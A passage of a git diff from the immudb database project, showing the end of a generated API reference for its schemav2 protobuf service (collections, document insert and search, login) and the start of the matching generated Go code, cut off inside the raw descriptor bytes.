----- | ---- | ----- | ----------- | +| name | [string](#string) | | | +| primaryKeys | [CollectionInformation.PrimaryKeysEntry](#immudb.schemav2.CollectionInformation.PrimaryKeysEntry) | repeated | | +| indexKeys | [CollectionInformation.IndexKeysEntry](#immudb.schemav2.CollectionInformation.IndexKeysEntry) | repeated | | + + + + + + + + +### CollectionInformation.IndexKeysEntry + + + +| Field | Type | Label | Description | +| ----- | ---- | ----- | ----------- | +| key | [string](#string) | | | +| value | [PossibleIndexValue](#immudb.schemav2.PossibleIndexValue) | | | + + + + + + + + +### CollectionInformation.PrimaryKeysEntry + + + +| Field | Type | Label | Description | +| ----- | ---- | ----- | ----------- | +| key | [string](#string) | | | +| value | [PossibleIndexValue](#immudb.schemav2.PossibleIndexValue) | | | + + + + + + + + +### CollectionListRequest + + + + + + + + + +### CollectionListResponse + + + +| Field | Type | Label | Description | +| ----- | ---- | ----- | ----------- | +| collections | [CollectionInformation](#immudb.schemav2.CollectionInformation) | repeated | | + + + + + + + + +### DocumentInsertRequest + + + +| Field | Type | Label | Description | +| ----- | ---- | ----- | ----------- | +| collection | [string](#string) | | | +| document | [google.protobuf.Struct](#google.protobuf.Struct) | repeated | | + + + + + + + + +### DocumentSearchRequest + + + +| Field | Type | Label | Description | +| ----- | ---- | ----- | ----------- | +| collection | [string](#string) | | | +| query | [DocumentSearchRequest.QueryEntry](#immudb.schemav2.DocumentSearchRequest.QueryEntry) | repeated | | +| page | [uint32](#uint32) | | | +| perPage | [uint32](#uint32) | | | + + + + + + + + +### DocumentSearchRequest.QueryEntry + + + +| Field | Type | Label | Description | +| ----- | ---- | ----- | ----------- | +| key | [string](#string) | | | +| value | [google.protobuf.Value](#google.protobuf.Value) | | | + + + + + + + + +### DocumentSearchResponse + + + +| Field | Type | Label | Description | +| ----- | ---- | ----- | ----------- | +| results | [google.protobuf.Struct](#google.protobuf.Struct) | repeated | | +| page | [uint32](#uint32) | | | +| perPage | [uint32](#uint32) | | | +| entriesLeft | [uint32](#uint32) | | | + + + + + + + + +### LoginRequest + + + +| Field | Type | Label | Description | +| ----- | ---- | ----- | ----------- | +| username | [string](#string) | | | +| password | [string](#string) | | | +| database | [string](#string) | | | +| writeAccess | [bool](#bool) | | | + + + + + + + + +### LoginResponse + + + +| Field | Type | Label | Description | +| ----- | ---- | ----- | ----------- | +| token | [string](#string) | | | + + + + + + + + +### PossibleIndexValue + + + +| Field | Type | Label | Description | +| ----- | ---- | ----- | ----------- | +| number_value | [double](#double) | | Represents a double value. | +| string_value | [string](#string) | | Represents a string value. | +| bool_value | [bool](#bool) | | Represents a boolean value. | +| int_value | [int64](#int64) | | Represents a int64 value | + + + + + + + + + + + + + + +### ImmuService + + +| Method Name | Request Type | Response Type | Description | +| ----------- | ------------ | ------------- | ------------| +| Login | [LoginRequest](#immudb.schemav2.LoginRequest) | [LoginResponse](#immudb.schemav2.LoginResponse) | | +| DocumentInsert | [DocumentInsertRequest](#immudb.schemav2.DocumentInsertRequest) | [.immudb.schema.VerifiableTx](#immudb.schema.VerifiableTx) | | +| DocumentSearch | [DocumentSearchRequest](#immudb.schemav2.DocumentSearchRequest) | [DocumentSearchResponse](#immudb.schemav2.DocumentSearchResponse) | | +| CollectionCreate | [CollectionCreateRequest](#immudb.schemav2.CollectionCreateRequest) | [CollectionInformation](#immudb.schemav2.CollectionInformation) | | +| CollectionList | [CollectionListRequest](#immudb.schemav2.CollectionListRequest) | [CollectionListResponse](#immudb.schemav2.CollectionListResponse) | | +| CollectionDelete | [CollectionDeleteRequest](#immudb.schemav2.CollectionDeleteRequest) | [.google.protobuf.Empty](#google.protobuf.Empty) | | + + + + + +## Scalar Value Types + +| .proto Type | Notes | C++ | Java | Python | Go | C# | PHP | Ruby | +| ----------- | ----- | --- | ---- | ------ | -- | -- | --- | ---- | +| double | | double | double | float | float64 | double | float | Float | +| float | | float | float | float | float32 | float | float | Float | +| int32 | Uses variable-length encoding. Inefficient for encoding negative numbers – if your field is likely to have negative values, use sint32 instead. | int32 | int | int | int32 | int | integer | Bignum or Fixnum (as required) | +| int64 | Uses variable-length encoding. Inefficient for encoding negative numbers – if your field is likely to have negative values, use sint64 instead. | int64 | long | int/long | int64 | long | integer/string | Bignum | +| uint32 | Uses variable-length encoding. | uint32 | int | int/long | uint32 | uint | integer | Bignum or Fixnum (as required) | +| uint64 | Uses variable-length encoding. | uint64 | long | int/long | uint64 | ulong | integer/string | Bignum or Fixnum (as required) | +| sint32 | Uses variable-length encoding. Signed int value. These more efficiently encode negative numbers than regular int32s. | int32 | int | int | int32 | int | integer | Bignum or Fixnum (as required) | +| sint64 | Uses variable-length encoding. Signed int value. These more efficiently encode negative numbers than regular int64s. | int64 | long | int/long | int64 | long | integer/string | Bignum | +| fixed32 | Always four bytes. More efficient than uint32 if values are often greater than 2^28. | uint32 | int | int | uint32 | uint | integer | Bignum or Fixnum (as required) | +| fixed64 | Always eight bytes. More efficient than uint64 if values are often greater than 2^56. | uint64 | long | int/long | uint64 | ulong | integer/string | Bignum | +| sfixed32 | Always four bytes. | int32 | int | int | int32 | int | integer | Bignum or Fixnum (as required) | +| sfixed64 | Always eight bytes. | int64 | long | int/long | int64 | long | integer/string | Bignum | +| bool | | bool | boolean | boolean | bool | bool | boolean | TrueClass/FalseClass | +| string | A string must always contain UTF-8 encoded or 7-bit ASCII text. | string | String | str/unicode | string | string | string | String (UTF-8) | +| bytes | May contain any arbitrary sequence of bytes. | string | ByteString | str | []byte | ByteString | string | String (ASCII-8BIT) | + diff --git a/pkg/api/schemav2/schemav2.pb.go b/pkg/api/schemav2/schemav2.pb.go new file mode 100644 index 0000000000..85fa911e8b --- /dev/null +++ b/pkg/api/schemav2/schemav2.pb.go @@ -0,0 +1,1146 @@ +// Code generated by protoc-gen-go. DO NOT EDIT. +// versions: +// protoc-gen-go v1.28.0 +// protoc v3.12.4 +// source: schemav2.proto + +package schemav2 + +import ( + schema "github.com/codenotary/immudb/pkg/api/schema" + empty "github.com/golang/protobuf/ptypes/empty" + _struct "github.com/golang/protobuf/ptypes/struct" + _ "github.com/grpc-ecosystem/grpc-gateway/protoc-gen-swagger/options" + _ "google.golang.org/genproto/googleapis/api/annotations" + protoreflect "google.golang.org/protobuf/reflect/protoreflect" + protoimpl "google.golang.org/protobuf/runtime/protoimpl" + reflect "reflect" + sync "sync" +) + +const ( + // Verify that this generated code is sufficiently up-to-date. + _ = protoimpl.EnforceVersion(20 - protoimpl.MinVersion) + // Verify that runtime/protoimpl is sufficiently up-to-date. + _ = protoimpl.EnforceVersion(protoimpl.MaxVersion - 20) +) + +type DocumentInsertRequest struct { + state protoimpl.MessageState + sizeCache protoimpl.SizeCache + unknownFields protoimpl.UnknownFields + + Collection string `protobuf:"bytes,1,opt,name=collection,proto3" json:"collection,omitempty"` + Document []*_struct.Struct `protobuf:"bytes,2,rep,name=document,proto3" json:"document,omitempty"` +} + +func (x *DocumentInsertRequest) Reset() { + *x = DocumentInsertRequest{} + if protoimpl.UnsafeEnabled { + mi := &file_schemav2_proto_msgTypes[0] + ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) + ms.StoreMessageInfo(mi) + } +} + +func (x *DocumentInsertRequest) String() string { + return protoimpl.X.MessageStringOf(x) +} + +func (*DocumentInsertRequest) ProtoMessage() {} + +func (x *DocumentInsertRequest) ProtoReflect() protoreflect.Message { + mi := &file_schemav2_proto_msgTypes[0] + if protoimpl.UnsafeEnabled && x != nil { + ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) + if ms.LoadMessageInfo() == nil { + ms.StoreMessageInfo(mi) + } + return ms + } + return mi.MessageOf(x) +} + +// Deprecated: Use DocumentInsertRequest.ProtoReflect.Descriptor instead. +func (*DocumentInsertRequest) Descriptor() ([]byte, []int) { + return file_schemav2_proto_rawDescGZIP(), []int{0} +} + +func (x *DocumentInsertRequest) GetCollection() string { + if x != nil { + return x.Collection + } + return "" +} + +func (x *DocumentInsertRequest) GetDocument() []*_struct.Struct { + if x != nil { + return x.Document + } + return nil +} + +type DocumentSearchRequest struct { + state protoimpl.MessageState + sizeCache protoimpl.SizeCache + unknownFields protoimpl.UnknownFields + + Collection string `protobuf:"bytes,1,opt,name=collection,proto3" json:"collection,omitempty"` + Query map[string]*_struct.Value `protobuf:"bytes,2,rep,name=query,proto3" json:"query,omitempty" protobuf_key:"bytes,1,opt,name=key,proto3" protobuf_val:"bytes,2,opt,name=value,proto3"` + Page uint32 `protobuf:"varint,3,opt,name=page,proto3" json:"page,omitempty"` + PerPage uint32 `protobuf:"varint,4,opt,name=perPage,proto3" json:"perPage,omitempty"` +} + +func (x *DocumentSearchRequest) Reset() { + *x = DocumentSearchRequest{} + if protoimpl.UnsafeEnabled { + mi := &file_schemav2_proto_msgTypes[1] + ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) + ms.StoreMessageInfo(mi) + } +} + +func (x *DocumentSearchRequest) String() string { + return protoimpl.X.MessageStringOf(x) +} + +func (*DocumentSearchRequest) ProtoMessage() {} + +func (x *DocumentSearchRequest) ProtoReflect() protoreflect.Message { + mi := &file_schemav2_proto_msgTypes[1] + if protoimpl.UnsafeEnabled && x != nil { + ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) + if ms.LoadMessageInfo() == nil { + ms.StoreMessageInfo(mi) + } + return ms + } + return mi.MessageOf(x) +} + +// Deprecated: Use DocumentSearchRequest.ProtoReflect.Descriptor instead. +func (*DocumentSearchRequest) Descriptor() ([]byte, []int) { + return file_schemav2_proto_rawDescGZIP(), []int{1} +} + +func (x *DocumentSearchRequest) GetCollection() string { + if x != nil { + return x.Collection + } + return "" +} + +func (x *DocumentSearchRequest) GetQuery() map[string]*_struct.Value { + if x != nil { + return x.Query + } + return nil +} + +func (x *DocumentSearchRequest) GetPage() uint32 { + if x != nil { + return x.Page + } + return 0 +} + +func (x *DocumentSearchRequest) GetPerPage() uint32 { + if x != nil { + return x.PerPage + } + return 0 +} + +type DocumentSearchResponse struct { + state protoimpl.MessageState + sizeCache protoimpl.SizeCache + unknownFields protoimpl.UnknownFields + + Results []*_struct.Struct `protobuf:"bytes,1,rep,name=results,proto3" json:"results,omitempty"` + Page uint32 `protobuf:"varint,2,opt,name=page,proto3" json:"page,omitempty"` + PerPage uint32 `protobuf:"varint,3,opt,name=perPage,proto3" json:"perPage,omitempty"` + EntriesLeft uint32 `protobuf:"varint,4,opt,name=entriesLeft,proto3" json:"entriesLeft,omitempty"` +} + +func (x *DocumentSearchResponse) Reset() { + *x = DocumentSearchResponse{} + if protoimpl.UnsafeEnabled { + mi := &file_schemav2_proto_msgTypes[2] + ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) + ms.StoreMessageInfo(mi) + } +} + +func (x *DocumentSearchResponse) String() string { + return protoimpl.X.MessageStringOf(x) +} + +func (*DocumentSearchResponse) ProtoMessage() {} + +func (x *DocumentSearchResponse) ProtoReflect() protoreflect.Message { + mi := &file_schemav2_proto_msgTypes[2] + if protoimpl.UnsafeEnabled && x != nil { + ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) + if ms.LoadMessageInfo() == nil { + ms.StoreMessageInfo(mi) + } + return ms + } + return mi.MessageOf(x) +} + +// Deprecated: Use DocumentSearchResponse.ProtoReflect.Descriptor instead. +func (*DocumentSearchResponse) Descriptor() ([]byte, []int) { + return file_schemav2_proto_rawDescGZIP(), []int{2} +} + +func (x *DocumentSearchResponse) GetResults() []*_struct.Struct { + if x != nil { + return x.Results + } + return nil +} + +func (x *DocumentSearchResponse) GetPage() uint32 { + if x != nil { + return x.Page + } + return 0 +} + +func (x *DocumentSearchResponse) GetPerPage() uint32 { + if x != nil { + return x.PerPage + } + return 0 +} + +func (x *DocumentSearchResponse) GetEntriesLeft() uint32 { + if x != nil { + return x.EntriesLeft + } + return 0 +} + +type LoginRequest struct { + state protoimpl.MessageState + sizeCache protoimpl.SizeCache + unknownFields protoimpl.UnknownFields + + Username string `protobuf:"bytes,1,opt,name=username,proto3" json:"username,omitempty"` + Password string `protobuf:"bytes,2,opt,name=password,proto3" json:"password,omitempty"` + Database string `protobuf:"bytes,3,opt,name=database,proto3" json:"database,omitempty"` + WriteAccess bool `protobuf:"varint,4,opt,name=writeAccess,proto3" json:"writeAccess,omitempty"` +} + +func (x *LoginRequest) Reset() { + *x = LoginRequest{} + if protoimpl.UnsafeEnabled { + mi := &file_schemav2_proto_msgTypes[3] + ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) + ms.StoreMessageInfo(mi) + } +} + +func (x *LoginRequest) String() string { + return protoimpl.X.MessageStringOf(x) +} + +func (*LoginRequest) ProtoMessage() {} + +func (x *LoginRequest) ProtoReflect() protoreflect.Message { + mi := &file_schemav2_proto_msgTypes[3] + if protoimpl.UnsafeEnabled && x != nil { + ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) + if ms.LoadMessageInfo() == nil { + ms.StoreMessageInfo(mi) + } + return ms + } + return mi.MessageOf(x) +} + +// Deprecated: Use LoginRequest.ProtoReflect.Descriptor instead. +func (*LoginRequest) Descriptor() ([]byte, []int) { + return file_schemav2_proto_rawDescGZIP(), []int{3} +} + +func (x *LoginRequest) GetUsername() string { + if x != nil { + return x.Username + } + return "" +} + +func (x *LoginRequest) GetPassword() string { + if x != nil { + return x.Password + } + return "" +} + +func (x *LoginRequest) GetDatabase() string { + if x != nil { + return x.Database + } + return "" +} + +func (x *LoginRequest) GetWriteAccess() bool { + if x != nil { + return x.WriteAccess + } + return false +} + +type LoginResponse struct { + state protoimpl.MessageState + sizeCache protoimpl.SizeCache + unknownFields protoimpl.UnknownFields + + Token string `protobuf:"bytes,1,opt,name=token,proto3" json:"token,omitempty"` +} + +func (x *LoginResponse) Reset() { + *x = LoginResponse{} + if protoimpl.UnsafeEnabled { + mi := &file_schemav2_proto_msgTypes[4] + ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) + ms.StoreMessageInfo(mi) + } +} + +func (x *LoginResponse) String() string { + return protoimpl.X.MessageStringOf(x) +} + +func (*LoginResponse) ProtoMessage() {} + +func (x *LoginResponse) ProtoReflect() protoreflect.Message { + mi := &file_schemav2_proto_msgTypes[4] + if protoimpl.UnsafeEnabled && x != nil { + ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) + if ms.LoadMessageInfo() == nil { + ms.StoreMessageInfo(mi) + } + return ms + } + return mi.MessageOf(x) +} + +// Deprecated: Use LoginResponse.ProtoReflect.Descriptor instead. +func (*LoginResponse) Descriptor() ([]byte, []int) { + return file_schemav2_proto_rawDescGZIP(), []int{4} +} + +func (x *LoginResponse) GetToken() string { + if x != nil { + return x.Token + } + return "" +} + +type PossibleIndexValue struct { + state protoimpl.MessageState + sizeCache protoimpl.SizeCache + unknownFields protoimpl.UnknownFields + + // The kind of value. + // + // Types that are assignable to Kind: + // + // *PossibleIndexValue_NumberValue + // *PossibleIndexValue_StringValue + // *PossibleIndexValue_BoolValue + // *PossibleIndexValue_IntValue + Kind isPossibleIndexValue_Kind `protobuf_oneof:"kind"` +} + +func (x *PossibleIndexValue) Reset() { + *x = PossibleIndexValue{} + if protoimpl.UnsafeEnabled { + mi := &file_schemav2_proto_msgTypes[5] + ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) + ms.StoreMessageInfo(mi) + } +} + +func (x *PossibleIndexValue) String() string { + return protoimpl.X.MessageStringOf(x) +} + +func (*PossibleIndexValue) ProtoMessage() {} + +func (x *PossibleIndexValue) ProtoReflect() protoreflect.Message { + mi := &file_schemav2_proto_msgTypes[5] + if protoimpl.UnsafeEnabled && x != nil { + ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) + if ms.LoadMessageInfo() == nil { + ms.StoreMessageInfo(mi) + } + return ms + } + return mi.MessageOf(x) +} + +// Deprecated: Use PossibleIndexValue.ProtoReflect.Descriptor instead. +func (*PossibleIndexValue) Descriptor() ([]byte, []int) { + return file_schemav2_proto_rawDescGZIP(), []int{5} +} + +func (m *PossibleIndexValue) GetKind() isPossibleIndexValue_Kind { + if m != nil { + return m.Kind + } + return nil +} + +func (x *PossibleIndexValue) GetNumberValue() float64 { + if x, ok := x.GetKind().(*PossibleIndexValue_NumberValue); ok { + return x.NumberValue + } + return 0 +} + +func (x *PossibleIndexValue) GetStringValue() string { + if x, ok := x.GetKind().(*PossibleIndexValue_StringValue); ok { + return x.StringValue + } + return "" +} + +func (x *PossibleIndexValue) GetBoolValue() bool { + if x, ok := x.GetKind().(*PossibleIndexValue_BoolValue); ok { + return x.BoolValue + } + return false +} + +func (x *PossibleIndexValue) GetIntValue() int64 { + if x, ok := x.GetKind().(*PossibleIndexValue_IntValue); ok { + return x.IntValue + } + return 0 +} + +type isPossibleIndexValue_Kind interface { + isPossibleIndexValue_Kind() +} + +type PossibleIndexValue_NumberValue struct { + // Represents a double value. + NumberValue float64 `protobuf:"fixed64,1,opt,name=number_value,json=numberValue,proto3,oneof"` +} + +type PossibleIndexValue_StringValue struct { + // Represents a string value. + StringValue string `protobuf:"bytes,2,opt,name=string_value,json=stringValue,proto3,oneof"` +} + +type PossibleIndexValue_BoolValue struct { + // Represents a boolean value. + BoolValue bool `protobuf:"varint,3,opt,name=bool_value,json=boolValue,proto3,oneof"` +} + +type PossibleIndexValue_IntValue struct { + // Represents a int64 value + IntValue int64 `protobuf:"varint,4,opt,name=int_value,json=intValue,proto3,oneof"` +} + +func (*PossibleIndexValue_NumberValue) isPossibleIndexValue_Kind() {} + +func (*PossibleIndexValue_StringValue) isPossibleIndexValue_Kind() {} + +func (*PossibleIndexValue_BoolValue) isPossibleIndexValue_Kind() {} + +func (*PossibleIndexValue_IntValue) isPossibleIndexValue_Kind() {} + +type CollectionCreateRequest struct { + state protoimpl.MessageState + sizeCache protoimpl.SizeCache + unknownFields protoimpl.UnknownFields + + Name string `protobuf:"bytes,1,opt,name=name,proto3" json:"name,omitempty"` + PrimaryKeys map[string]*PossibleIndexValue `protobuf:"bytes,2,rep,name=primaryKeys,proto3" json:"primaryKeys,omitempty" protobuf_key:"bytes,1,opt,name=key,proto3" protobuf_val:"bytes,2,opt,name=value,proto3"` + IndexKeys map[string]*PossibleIndexValue `protobuf:"bytes,3,rep,name=indexKeys,proto3" json:"indexKeys,omitempty" protobuf_key:"bytes,1,opt,name=key,proto3" protobuf_val:"bytes,2,opt,name=value,proto3"` +} + +func (x *CollectionCreateRequest) Reset() { + *x = CollectionCreateRequest{} + if protoimpl.UnsafeEnabled { + mi := &file_schemav2_proto_msgTypes[6] + ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) + ms.StoreMessageInfo(mi) + } +} + +func (x *CollectionCreateRequest) String() string { + return protoimpl.X.MessageStringOf(x) +} + +func (*CollectionCreateRequest) ProtoMessage() {} + +func (x *CollectionCreateRequest) ProtoReflect() protoreflect.Message { + mi := &file_schemav2_proto_msgTypes[6] + if protoimpl.UnsafeEnabled && x != nil { + ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) + if ms.LoadMessageInfo() == nil { + ms.StoreMessageInfo(mi) + } + return ms + } + return mi.MessageOf(x) +} + +// Deprecated: Use CollectionCreateRequest.ProtoReflect.Descriptor instead. +func (*CollectionCreateRequest) Descriptor() ([]byte, []int) { + return file_schemav2_proto_rawDescGZIP(), []int{6} +} + +func (x *CollectionCreateRequest) GetName() string { + if x != nil { + return x.Name + } + return "" +} + +func (x *CollectionCreateRequest) GetPrimaryKeys() map[string]*PossibleIndexValue { + if x != nil { + return x.PrimaryKeys + } + return nil +} + +func (x *CollectionCreateRequest) GetIndexKeys() map[string]*PossibleIndexValue { + if x != nil { + return x.IndexKeys + } + return nil +} + +type CollectionInformation struct { + state protoimpl.MessageState + sizeCache protoimpl.SizeCache + unknownFields protoimpl.UnknownFields + + Name string `protobuf:"bytes,1,opt,name=name,proto3" json:"name,omitempty"` + PrimaryKeys map[string]*PossibleIndexValue `protobuf:"bytes,2,rep,name=primaryKeys,proto3" json:"primaryKeys,omitempty" protobuf_key:"bytes,1,opt,name=key,proto3" protobuf_val:"bytes,2,opt,name=value,proto3"` + IndexKeys map[string]*PossibleIndexValue `protobuf:"bytes,3,rep,name=indexKeys,proto3" json:"indexKeys,omitempty" protobuf_key:"bytes,1,opt,name=key,proto3" protobuf_val:"bytes,2,opt,name=value,proto3"` +} + +func (x *CollectionInformation) Reset() { + *x = CollectionInformation{} + if protoimpl.UnsafeEnabled { + mi := &file_schemav2_proto_msgTypes[7] + ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) + ms.StoreMessageInfo(mi) + } +} + +func (x *CollectionInformation) String() string { + return protoimpl.X.MessageStringOf(x) +} + +func (*CollectionInformation) ProtoMessage() {} + +func (x *CollectionInformation) ProtoReflect() protoreflect.Message { + mi := &file_schemav2_proto_msgTypes[7] + if protoimpl.UnsafeEnabled && x != nil { + ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) + if ms.LoadMessageInfo() == nil { + ms.StoreMessageInfo(mi) + } + return ms + } + return mi.MessageOf(x) +} + +// Deprecated: Use CollectionInformation.ProtoReflect.Descriptor instead. +func (*CollectionInformation) Descriptor() ([]byte, []int) { + return file_schemav2_proto_rawDescGZIP(), []int{7} +} + +func (x *CollectionInformation) GetName() string { + if x != nil { + return x.Name + } + return "" +} + +func (x *CollectionInformation) GetPrimaryKeys() map[string]*PossibleIndexValue { + if x != nil { + return x.PrimaryKeys + } + return nil +} + +func (x *CollectionInformation) GetIndexKeys() map[string]*PossibleIndexValue { + if x != nil { + return x.IndexKeys + } + return nil +} + +type CollectionListRequest struct { + state protoimpl.MessageState + sizeCache protoimpl.SizeCache + unknownFields protoimpl.UnknownFields +} + +func (x *CollectionListRequest) Reset() { + *x = CollectionListRequest{} + if protoimpl.UnsafeEnabled { + mi := &file_schemav2_proto_msgTypes[8] + ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) + ms.StoreMessageInfo(mi) + } +} + +func (x *CollectionListRequest) String() string { + return protoimpl.X.MessageStringOf(x) +} + +func (*CollectionListRequest) ProtoMessage() {} + +func (x *CollectionListRequest) ProtoReflect() protoreflect.Message { + mi := &file_schemav2_proto_msgTypes[8] + if protoimpl.UnsafeEnabled && x != nil { + ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) + if ms.LoadMessageInfo() == nil { + ms.StoreMessageInfo(mi) + } + return ms + } + return mi.MessageOf(x) +} + +// Deprecated: Use CollectionListRequest.ProtoReflect.Descriptor instead. +func (*CollectionListRequest) Descriptor() ([]byte, []int) { + return file_schemav2_proto_rawDescGZIP(), []int{8} +} + +type CollectionListResponse struct { + state protoimpl.MessageState + sizeCache protoimpl.SizeCache + unknownFields protoimpl.UnknownFields + + Collections []*CollectionInformation `protobuf:"bytes,1,rep,name=collections,proto3" json:"collections,omitempty"` +} + +func (x *CollectionListResponse) Reset() { + *x = CollectionListResponse{} + if protoimpl.UnsafeEnabled { + mi := &file_schemav2_proto_msgTypes[9] + ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) + ms.StoreMessageInfo(mi) + } +} + +func (x *CollectionListResponse) String() string { + return protoimpl.X.MessageStringOf(x) +} + +func (*CollectionListResponse) ProtoMessage() {} + +func (x *CollectionListResponse) ProtoReflect() protoreflect.Message { + mi := &file_schemav2_proto_msgTypes[9] + if protoimpl.UnsafeEnabled && x != nil { + ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) + if ms.LoadMessageInfo() == nil { + ms.StoreMessageInfo(mi) + } + return ms + } + return mi.MessageOf(x) +} + +// Deprecated: Use CollectionListResponse.ProtoReflect.Descriptor instead. +func (*CollectionListResponse) Descriptor() ([]byte, []int) { + return file_schemav2_proto_rawDescGZIP(), []int{9} +} + +func (x *CollectionListResponse) GetCollections() []*CollectionInformation { + if x != nil { + return x.Collections + } + return nil +} + +type CollectionDeleteRequest struct { + state protoimpl.MessageState + sizeCache protoimpl.SizeCache + unknownFields protoimpl.UnknownFields + + Name string `protobuf:"bytes,1,opt,name=name,proto3" json:"name,omitempty"` +} + +func (x *CollectionDeleteRequest) Reset() { + *x = CollectionDeleteRequest{} + if protoimpl.UnsafeEnabled { + mi := &file_schemav2_proto_msgTypes[10] + ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) + ms.StoreMessageInfo(mi) + } +} + +func (x *CollectionDeleteRequest) String() string { + return protoimpl.X.MessageStringOf(x) +} + +func (*CollectionDeleteRequest) ProtoMessage() {} + +func (x *CollectionDeleteRequest) ProtoReflect() protoreflect.Message { + mi := &file_schemav2_proto_msgTypes[10] + if protoimpl.UnsafeEnabled && x != nil { + ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) + if ms.LoadMessageInfo() == nil { + ms.StoreMessageInfo(mi) + } + return ms + } + return mi.MessageOf(x) +} + +// Deprecated: Use CollectionDeleteRequest.ProtoReflect.Descriptor instead. +func (*CollectionDeleteRequest) Descriptor() ([]byte, []int) { + return file_schemav2_proto_rawDescGZIP(), []int{10} +} + +func (x *CollectionDeleteRequest) GetName() string { + if x != nil { + return x.Name + } + return "" +} + +var File_schemav2_proto protoreflect.FileDescriptor + +var file_schemav2_proto_rawDesc = []byte{ + 0x0a, 0x0e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x76, 0x32, 0x2e, 0x70, 0x72, 0x6f, 0x74, 0x6f, + 0x12, 0x0f, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x76, + 0x32, 0x1a, 0x1c, 0x67, 0x6f, 0x6f, 0x67, 0x6c, 0x65, 0x2f, 0x61, 0x70, 0x69, 0x2f, 0x61, 0x6e, + 0x6e, 0x6f, 0x74, 0x61, 0x74, 0x69, 0x6f, 0x6e, 0x73, 0x2e, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x1a, + 0x1b, 0x67, 0x6f, 0x6f, 0x67, 0x6c, 0x65, 0x2f, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x62, 0x75, 0x66, + 0x2f, 0x65, 0x6d, 0x70, 0x74, 0x79, 0x2e, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x1a, 0x1c, 0x67, 0x6f, + 0x6f, 0x67, 0x6c, 0x65, 0x2f, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x62, 0x75, 0x66, 0x2f, 0x73, 0x74, + 0x72, 0x75, 0x63, 0x74, 0x2e, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x1a, 0x0c, 0x73, 0x63, 0x68, 0x65, + 0x6d, 0x61, 0x2e, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x1a, 0x2c, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x63, + 0x2d, 0x67, 0x65, 0x6e, 0x2d, 0x73, 0x77, 0x61, 0x67, 0x67, 0x65, 0x72, 0x2f, 0x6f, 0x70, 0x74, + 0x69, 0x6f, 0x6e, 0x73, 0x2f, 0x61, 0x6e, 0x6e, 0x6f, 0x74, 0x61, 0x74, 0x69, 0x6f, 0x6e, 0x73, + 0x2e, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x22, 0x6c, 0x0a, 0x15, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, + 0x6e, 0x74, 0x49, 0x6e, 0x73, 0x65, 0x72, 0x74, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x12, + 0x1e, 0x0a, 0x0a, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x18, 0x01, 0x20, + 0x01, 0x28, 0x09, 0x52, 0x0a, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x12, + 0x33, 0x0a, 0x08, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x18, 0x02, 0x20, 0x03, 0x28, + 0x0b, 0x32, 0x17, 0x2e, 0x67, 0x6f, 0x6f, 0x67, 0x6c, 0x65, 0x2e, 0x70, 0x72, 0x6f, 0x74, 0x6f, + 0x62, 0x75, 0x66, 0x2e, 0x53, 0x74, 0x72, 0x75, 0x63, 0x74, 0x52, 0x08, 0x64, 0x6f, 0x63, 0x75, + 0x6d, 0x65, 0x6e, 0x74, 0x22, 0x80, 0x02, 0x0a, 0x15, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, + 0x74, 0x53, 0x65, 0x61, 0x72, 0x63, 0x68, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x12, 0x1e, + 0x0a, 0x0a, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x18, 0x01, 0x20, 0x01, + 0x28, 0x09, 0x52, 0x0a, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x12, 0x47, + 0x0a, 0x05, 0x71, 0x75, 0x65, 0x72, 0x79, 0x18, 0x02, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x31, 0x2e, + 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x76, 0x32, 0x2e, + 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x53, 0x65, 0x61, 0x72, 0x63, 0x68, 0x52, 0x65, + 0x71, 0x75, 0x65, 0x73, 0x74, 0x2e, 0x51, 0x75, 0x65, 0x72, 0x79, 0x45, 0x6e, 0x74, 0x72, 0x79, + 0x52, 0x05, 0x71, 0x75, 